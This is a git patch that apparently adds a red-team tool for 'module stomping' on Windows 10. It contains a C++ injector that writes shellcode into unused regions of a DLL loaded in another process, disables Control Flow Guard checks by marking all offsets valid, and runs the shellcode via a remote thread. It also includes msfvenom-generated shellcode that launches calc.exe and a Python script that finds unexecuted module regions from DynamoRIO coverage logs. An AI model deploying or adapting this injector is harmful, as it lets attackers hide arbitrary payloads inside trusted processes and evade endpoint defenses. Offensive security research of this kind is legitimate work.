From d12cada479e2b50099bf1920f5d132e303fec847 Mon Sep 17 00:00:00 2001 From: William Knowles Date: Tue, 7 Jan 2020 23:25:37 +0000 Subject: [PATCH] Initial code --- .../CodeCoverageMiniStompInjection.sln | 31 +++ .../CodeCoverageMiniStompInjection.cpp | 239 ++++++++++++++++++ .../CodeCoverageMiniStompInjection.h | 28 ++ .../CodeCoverageMiniStompInjection.vcxproj | 158 ++++++++++++ ...CoverageMiniStompInjection.vcxproj.filters | 27 ++ ...odeCoverageMiniStompInjection.vcxproj.user | 4 + README.md | 22 +- parse-drcov-identify-untouched.py | 147 +++++++++++ 8 files changed, 655 insertions(+), 1 deletion(-) create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.sln create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.cpp create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.h create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.filters create mode 100755 CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.user create mode 100644 parse-drcov-identify-untouched.py diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.sln b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.sln new file mode 100755 index 0000000..420ef23 --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29613.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CodeCoverageMiniStompInjection", "CodeCoverageMiniStompInjection\CodeCoverageMiniStompInjection.vcxproj", "{0DAF446C-3714-4584-BB25-FC5F0879E861}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.ActiveCfg = Debug|x64 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.Build.0 = Debug|x64 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.ActiveCfg = Debug|Win32 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.Build.0 = Debug|Win32 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.ActiveCfg = Release|x64 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.Build.0 = Release|x64 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.ActiveCfg = Release|Win32 + {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {717FCA4C-C5AC-48C8-BFD4-D1D7FE0AF7F4} + EndGlobalSection +EndGlobal diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.cpp b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.cpp new file mode 100755 index 0000000..9576fd7 --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.cpp @@ -0,0 +1,239 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "mincore.lib") + +#include "CodeCoverageMiniStompInjection.h" + +DWORD FindProcessByPID(const std::wstring& processName) +{ + PROCESSENTRY32 processInfo; + processInfo.dwSize = sizeof(processInfo); + + HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (processesSnapshot == INVALID_HANDLE_VALUE) + return 0; + + Process32First(processesSnapshot, &processInfo); + if (!processName.compare(processInfo.szExeFile)) + { + CloseHandle(processesSnapshot); + return processInfo.th32ProcessID; + } + + while (Process32Next(processesSnapshot, &processInfo)) + { + if (!processName.compare(processInfo.szExeFile)) + { + CloseHandle(processesSnapshot); + return processInfo.th32ProcessID; + } + } + + CloseHandle(processesSnapshot); + return 0; +} + +void KillProcessByName(const std::wstring& processName) +{ + PROCESSENTRY32 processInfo; + processInfo.dwSize = sizeof(processInfo); + + HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (processesSnapshot == INVALID_HANDLE_VALUE) + return; + + Process32First(processesSnapshot, &processInfo); + if (!processName.compare(processInfo.szExeFile)) + { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, + processInfo.th32ProcessID); + if (hProcess != NULL) + { + TerminateProcess(hProcess, 9); + CloseHandle(hProcess); + } + } + + while (Process32Next(processesSnapshot, &processInfo)) + { + if (!processName.compare(processInfo.szExeFile)) + { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, + processInfo.th32ProcessID); + if (hProcess != NULL) + { + TerminateProcess(hProcess, 9); + CloseHandle(hProcess); + } + } + } + + CloseHandle(processesSnapshot); +} + +DWORD SetUpTargetProcess(std::wstring targetProcessName) +{ + // Kill existing notepad processes + KillProcessByName(targetProcessName); + + // Start a new notepad process + STARTUPINFO si; + PROCESS_INFORMATION pi; + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + // Start the child process. + if (!CreateProcess(NULL, // No module name (use command line) + (LPWSTR)targetProcessName.c_str(), // Command line + NULL, // Process handle not inheritable + NULL, // Thread handle not inheritable + FALSE, // Set handle inheritance to FALSE + 0, // No creation flags + NULL, // Use parent's environment block + NULL, // Use parent's starting directory + &si, // Pointer to STARTUPINFO structure + &pi) // Pointer to PROCESS_INFORMATION structure + ) + { + printf("CreateProcess failed (%d).\n", GetLastError()); + return 0; + } + std::this_thread::sleep_for(std::chrono::seconds(2)); // sleep to give process time to actually start + + // Find PID of new notepad process + DWORD targetPID = FindProcessByPID(targetProcessName); + return targetPID; +} + +int InjectIntoModule(DWORD processID, std::wstring moduleTarget, DWORD offsetInMemory) +{ + std::cout << std::endl; + //std::cout << "Process launched. Attach debugger now if required. Proceed with injection?" << std::endl; + //system("pause"); + + HMODULE hMods[1024]; + HANDLE hProcess; + DWORD cbNeeded; + unsigned int i; + + // Print the process identifier. + + std::cout << "Process ID: " << processID << std::endl; + + // Get a handle to the process. + + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); + if (NULL == hProcess) + { + std::cout << "Could not open handle to process." << std::endl; + return 1; + } + std::cout << "Handle to external process obtained." << std::endl; + + // Get a list of all the modules in this process. + if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) + { + for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) + { + TCHAR szModName[MAX_PATH]; + + // Get the full path to the module's file. + + if (GetModuleFileNameEx(hProcess, hMods[i], szModName, + sizeof(szModName) / sizeof(TCHAR))) + { + std::wstring moduleCurrent = std::wstring(szModName); + std::transform(moduleCurrent.begin(), moduleCurrent.end(), moduleCurrent.begin(), std::tolower); + + if (wcsstr(moduleCurrent.c_str(), moduleTarget.c_str()) != 0) + { + std::wcout << "Target module found: " << szModName << " is at " << hMods[i] << std::endl; + + PVOID remoteBuffer;// = hMods[i]; + remoteBuffer = (int*)((char*)hMods[i] + offsetInMemory); //offsetInMemory + //remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); + + // make memory section writable + std::cout << "Modifying module memory to be writable." << std::endl; + DWORD oldProtect; + DWORD virtualProtectRWE = VirtualProtectEx(hProcess, remoteBuffer, sizeof shellcode, PAGE_EXECUTE_WRITECOPY, &oldProtect); + if (virtualProtectRWE == 0) + { + std::cout << "Error when making memory RWE: " << GetLastError() << std::endl; + } + + //system("pause"); + + MODULEINFO currentModule; + ZeroMemory(¤tModule, sizeof(currentModule)); + GetModuleInformation(hProcess, hMods[i], ¤tModule, sizeof currentModule); + + std::cout << "Setting CFG call targets." << std::endl; + for (unsigned int n = 0; n < currentModule.SizeOfImage; n += 16) + { + CFG_CALL_TARGET_INFO offsetInfo; + offsetInfo.Flags = CFG_CALL_TARGET_VALID; + offsetInfo.Offset = n; + if (!SetProcessValidCallTargets(hProcess, (void*)currentModule.lpBaseOfDll, currentModule.SizeOfImage, 1, &offsetInfo)) + { + std::cout << "Error when calling SetProcessValidCallTargets: " << GetLastError() << std::endl; + } + } + + // write data + std::cout << "Writing shellcode to external process. Total bytes: " << (sizeof shellcode) << std::endl; + DWORD writeProcessMemory = WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof shellcode, NULL); + if (writeProcessMemory == 0) + { + std::cout << "Error when writing to external process' memory: " << GetLastError() << std::endl; + } + + //system("pause"); + + std::cout << "Creating thread in external process." << std::endl; + HANDLE rThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); + if (rThread == NULL) + { + std::cout << "Error when creating remote thread: " << GetLastError() << std::endl; + } + + //system("pause"); + + std::cout << "Modifying module memory to be non-writable." << std::endl; + VirtualProtectEx(hProcess, hMods[i], sizeof shellcode, PAGE_EXECUTE_READ, &oldProtect); + } + } + } + } + + // Release the handle to the process. + + CloseHandle(hProcess); + + return 0; +} + +int wmain(int argc, wchar_t* argv[]) +{ + if (argc != 4) + { + std::cout << "DLLCoverage.exe " << std::endl; + return 1; + } + + // Set up target process + DWORD targetPID = SetUpTargetProcess(argv[1]); + + // 1==moduleName, 2=offset, 3==freeSpace + InjectIntoModule(targetPID, argv[2], _wtoi(argv[3])); + + return 0; +} \ No newline at end of file diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.h b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.h new file mode 100755 index 0000000..4a8c69e --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.h @@ -0,0 +1,28 @@ +#pragma once + +// msfvenom -f c -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -b \x00\x0a\x0d EXITFUNC=thread +unsigned char shellcode[] = + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff" + "\xff\xff\x48\xbb\xc3\x89\x60\xf6\x85\x2f\x95\xc3\x48\x31\x58" + "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x3f\xc1\xe3\x12\x75\xc7" + "\x55\xc3\xc3\x89\x21\xa7\xc4\x7f\xc7\x92\x95\xc1\x51\x24\xe0" + "\x67\x1e\x91\xa3\xc1\xeb\xa4\x9d\x67\x1e\x91\xe3\xc1\xeb\x84" + "\xd5\x67\x9a\x74\x89\xc3\x2d\xc7\x4c\x67\xa4\x03\x6f\xb5\x01" + "\x8a\x87\x03\xb5\x82\x02\x40\x6d\xb7\x84\xee\x77\x2e\x91\xc8" + "\x31\xbe\x0e\x7d\xb5\x48\x81\xb5\x28\xf7\x55\xa4\x15\x4b\xc3" + "\x89\x60\xbe\x00\xef\xe1\xa4\x8b\x88\xb0\xa6\x0e\x67\x8d\x87" + "\x48\xc9\x40\xbf\x84\xff\x76\x95\x8b\x76\xa9\xb7\x0e\x1b\x1d" + "\x8b\xc2\x5f\x2d\xc7\x4c\x67\xa4\x03\x6f\xc8\xa1\x3f\x88\x6e" + "\x94\x02\xfb\x69\x15\x07\xc9\x2c\xd9\xe7\xcb\xcc\x59\x27\xf0" + "\xf7\xcd\x87\x48\xc9\x44\xbf\x84\xff\xf3\x82\x48\x85\x28\xb2" + "\x0e\x6f\x89\x8a\xc2\x59\x21\x7d\x81\xa7\xdd\xc2\x13\xc8\x38" + "\xb7\xdd\x71\xcc\x99\x82\xd1\x21\xaf\xc4\x75\xdd\x40\x2f\xa9" + "\x21\xa4\x7a\xcf\xcd\x82\x9a\xd3\x28\x7d\x97\xc6\xc2\x3c\x3c" + "\x76\x3d\xbe\x3f\x2e\x95\xc3\xc3\x89\x60\xf6\x85\x67\x18\x4e" + "\xc2\x88\x60\xf6\xc4\x95\xa4\x48\xac\x0e\x9f\x23\x3e\xcf\x88" + "\xe9\xc9\xc8\xda\x50\x10\x92\x08\x3c\x16\xc1\xe3\x32\xad\x13" + "\x93\xbf\xc9\x09\x9b\x16\xf0\x2a\x2e\x84\xd0\xfb\x0f\x9c\x85" + "\x76\xd4\x4a\x19\x76\xb5\xb5\xbf\x73\xe2\xaa\xad\xed\x0f\x81" + "\xf6\x73\xe6\xba\xb0\xfd\x05\x9b\xb6\x1d\xc9\xa0\xa2\xe5\x03" + "\xd8\xe0\x57\xf0\xc3"; diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj new file mode 100755 index 0000000..b33c7c8 --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {0DAF446C-3714-4584-BB25-FC5F0879E861} + Win32Proj + CodeCoverageMiniStompInjection + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.filters b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.filters new file mode 100755 index 0000000..0eabfac --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.user b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.user new file mode 100755 index 0000000..0f14913 --- /dev/null +++ b/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/README.md b/README.md index 6794f65..7b134f3 100644 --- a/README.md +++ b/README.md @@ -1 +1,21 @@ -# CodeCoverageModuleStomping \ No newline at end of file +# CodeCoverageModuleStomping + +Tools to support code coverage based module stomping. Based on the blog post: http://williamknowles.io/?p=14 + +parse-drcov-identify-untouched.py - analyses DynamoRIO's drcov output. Run the script as follows, with the argument being the drcov output file. + +``` +parse-drcov-identify-untouched.py drcov.mspaint.exe.11520.0000.proc-win10-beacon.log +``` + +CodeCoverageModuleStomping - a simple C++ project for testing injecting into the memory regions of an already loaded module (DLL) at a particular offset. Shellcode should be included in the only header file of the project. It's designed for testing on Windows 10 and sets up call targets for Control Flow Guard (CFG); if you want to run this on older operating systems you'll probably need to comment this section of code out. Run the compiled binary as follows: + +``` +CodeCoverageMiniStompInjection.exe +``` + +For example: + +``` +CodeCoverageMiniStompInjection.exe mspaint.exe combase.dll 1599552 +``` diff --git a/parse-drcov-identify-untouched.py b/parse-drcov-identify-untouched.py new file mode 100644 index 0000000..26beef1 --- /dev/null +++ b/parse-drcov-identify-untouched.py @@ -0,0 +1,147 @@ +#!/usr/bin/python3 + +import csv +from prettytable import PrettyTable +import sys + +if len(sys.argv) <= 1: + print("\nGrab code coverage data with DynamoRIO's drcov:\n") + print("bin64/drrun.exe -t drcov -dump_text -- notepad") + print("\nOutputs *.log which can be passed here as an argument.\n") + print("python3 parse-drcov-untouched.py file.log") + print("\nCode is terrible, and commonly takes 5+ minutes to run, so it requires a bit of patience.\n") + sys.exit(1) + +with open(sys.argv[1], "r") as inputFileRaw: + inputFile = inputFileRaw.read().splitlines() + +startCollectingModules = False +startCollectingExecution = False +modulesList = [] +modulesDict = {} +modulesExecution = {} +moduleStartAddress = {} +modulePathLocation = {} + +for line in inputFile: + if "Columns: id, containing_id, start, end, entry, offset, checksum, timestamp, path" in line: + modulesList.append(line[9:].replace(" ","").lstrip().rstrip()) + startCollectingModules = True + continue + + if startCollectingModules: + if "BB Table" in line: + startCollectingModules=False + break + modulesList.append(line.replace(" ","").lstrip().rstrip()) # note that this may mess up the path if it has spaces in it + +modulesDict = csv.DictReader(modulesList) + +print("Generating dict to track byte-by-byte execution in each module.") + +for module in modulesDict: + modulesExecution[module["id"]] = {} + + for i in range(0, int(module["end"], 0)-int(module["start"], 0)): + modulesExecution[module["id"]][str("{0:#0{1}x}".format(i,18)).lower()] = 0 + + moduleStartAddress[module["id"]] = module["start"] + modulePathLocation[module["id"]] = module["path"] + +print("Analysing execution.") + +lineCount=0 +for line in inputFile: + lineCount+=1 + + if "module id, start, size:" in line: + startCollectingExecution = True + continue # skip to next line + + if startCollectingExecution: + moduleNumber = line.split(":")[0].split("[")[1].split("]")[0].lstrip().rstrip() + executionLocation = line.split(":")[1].split(",")[0].lstrip().rstrip() + executionSize = line.split(":")[1].split(",")[1].lstrip().rstrip() + + for i in range(int(executionLocation, 0), int(executionLocation, 0) + int(executionSize) + 1): # + 1 just to be sure + try: + addressWithBase = str("{0:#0{1}x}".format(i,18)).lower() + if addressWithBase in modulesExecution[moduleNumber]: + modulesExecution[moduleNumber][addressWithBase] = 1 + except Exception as e: + print(f"Exception occurred when adding touched address to dict: {e}") + print(f"Input file line: {lineCount}") + print(f"addressWithBase: {addressWithBase}") + print(f"moduleNumber: {moduleNumber}") + + +x = PrettyTable() +x.field_names = ["Path", "Touched (Bytes)", "Untouched (Bytes)", "Coverage (%)", "Largest Untouched (Bytes)", "Largest Untouched (Offset Bytes)"] + +for moduleKey,moduleValue in modulesExecution.items(): + if "DynamoRIO".lower() in modulePathLocation[moduleKey].lower(): + continue + + try: + untouchedBytes=0 + touchedBytes=0 + for addressLocation,addressUsed in moduleValue.items(): + if int(addressUsed) == 0: + untouchedBytes+=1 + if int(addressUsed) == 1: + touchedBytes+=1 + + currentUntouchedCount=0 + currentUntouchedBaseAddress="0x0000000000000000" + largestUntouchedCount=0 + largestUntouchedBaseAddress="0x0000000000000000" + lastAddressWasOneOrFirst=True + for addressLocation,addressUsed in moduleValue.items(): + if int(addressUsed) == 0: + currentUntouchedCount+=1 + if lastAddressWasOneOrFirst: + currentUntouchedBaseAddress=addressLocation + lastAddressWasOneOrFirst=False + else: + if currentUntouchedCount > largestUntouchedCount: + largestUntouchedCount = currentUntouchedCount + largestUntouchedBaseAddress = currentUntouchedBaseAddress + currentUntouchedCount=0 + lastAddressWasOneOrFirst=True + + # handle situation where nothing is touched (== the entire binary) + if touchedBytes==0: + largestUntouchedCount=untouchedBytes + + # OPTIONAL (can be removed): make sure the largest offset is at a 16 byte offset from the beginning of he file + amountAdded=0 + largestUntouchedBaseAddress = int(largestUntouchedBaseAddress, 16) + while (largestUntouchedBaseAddress % 16 != 0): + largestUntouchedBaseAddress+=1 + amountAdded+=1 + largestUntouchedCount=largestUntouchedCount-amountAdded # removed what's added to reflect smaller untouched buffer + + #largestUntouchedBaseAddressFull = str("{0:#0{1}x}".format(int(largestUntouchedBaseAddress, 16),18)).lower() + codeCoveragePercentage = format(touchedBytes/untouchedBytes*100, ".3f") + + # Module-by-module output (non-tabular) + # print("************************") + # print(f"Module path location: {modulePathLocation[moduleKey]}") + # print(f"Memory addresses touched (bytes)): {str(touchedBytes)} ({str(size(touchedBytes))})") + # print(f"Memory addresses untouched (bytes)): {str(untouchedBytes)} ({str(size(untouchedBytes))})") + # print(f"Code coverage (%): {str(codeCoveragePercentage)}") + # print(f"Largest untouched space (bytes): {str(largestUntouchedCount)} ({str(size(largestUntouchedCount))})") + # print(f"Largest untouched space (base address): {str(largestUntouchedBaseAddressFull)}") + + x.add_row([modulePathLocation[moduleKey], touchedBytes, untouchedBytes, codeCoveragePercentage, largestUntouchedCount, largestUntouchedBaseAddress]) + + except Exception as e: + print(f"Exception occurred when analysing module: {e}") + print(f"largestUntouchedBaseAddress: {largestUntouchedBaseAddress}") + print(f"largestUntouchedCount: {largestUntouchedCount}") + print(f"moduleNumber: {moduleKey}") + +# print table output +x.sortby = "Largest Untouched (Bytes)" +x.reversesort = True +print(x)